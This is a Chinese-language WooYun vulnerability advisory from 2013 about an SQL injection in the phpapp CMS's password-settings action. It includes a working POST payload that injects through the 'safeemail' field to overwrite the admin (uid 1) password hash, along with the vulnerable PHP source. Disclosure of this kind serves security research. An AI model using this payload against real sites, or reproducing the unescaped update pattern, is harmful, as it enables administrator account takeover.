当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-047101

漏洞标题：phpapp注入1（任意用户登陆）

相关厂商：phpapp

漏洞作者： 句子

提交时间：2013-12-26 18:30

修复时间：2014-03-26 18:31

公开时间：2014-03-26 18:31

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-26： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-03-26： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

phpapp注入1，注入可修改管理员密码~

详细说明：

测试的20131210发布的gbk版本
未对post传入的safeemail作过滤，在gpc关闭的情况下可以直接update型注入，在gpc开启的情况，宽字符注入；
漏洞exp：
http://200.200.87.150:911/member.php?app=2&member=&action=43
Post的参数：
PasswordOld=admin123&PasswordNew=admin123&Password=admin123&safeemail_s=hingzi%40163.com&Submit=%E4%BF%9D%E5%AD%98%E8%AE%BE%E7%BD%AE&safeemail=1232@123.com',`password`='1c13dd448385e0aa32342888a8ae5528' where uid='1'--%20
文件： E:\PHPAPP_GBK\upload\phpapp\apps\member\member_phpapp.php

public function SetPasswordAction(){
		
	       $member=$this->GetMysqlOne('*'," ".$this->GetTable('member')." WHERE  uid='$this->uid'");	   
		   
		   if($this->POST['Submit']){	   
		   
					include_once(APPS.'/member/main_phpapp.php');
					
					$checkpassword = new SubmitRegister($this->POST);
		         
		            $result=$checkpassword->EditPassword($this->uid,$this->POST,1);
					
					if($result=='ok'){
						#echo $this->POST['safeemail'];exit;
						 $this->Update('member',array('safeemail'=>$this->POST['safeemail']),array()," WHERE uid='$this->uid'");
						
						 echo '设置成功!<br />';
						 
					}else{
						 echo $result;
						
					}
					
		   		   
		            echo $this->CloseNowWindows('#loading',1);	
		   
		   }else{
		          include $this->Template('password_member');
		   }
	}


漏洞证明：

见详细说明

修复方案：

传入过滤字符

版权声明：转载请注明来源 句子@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝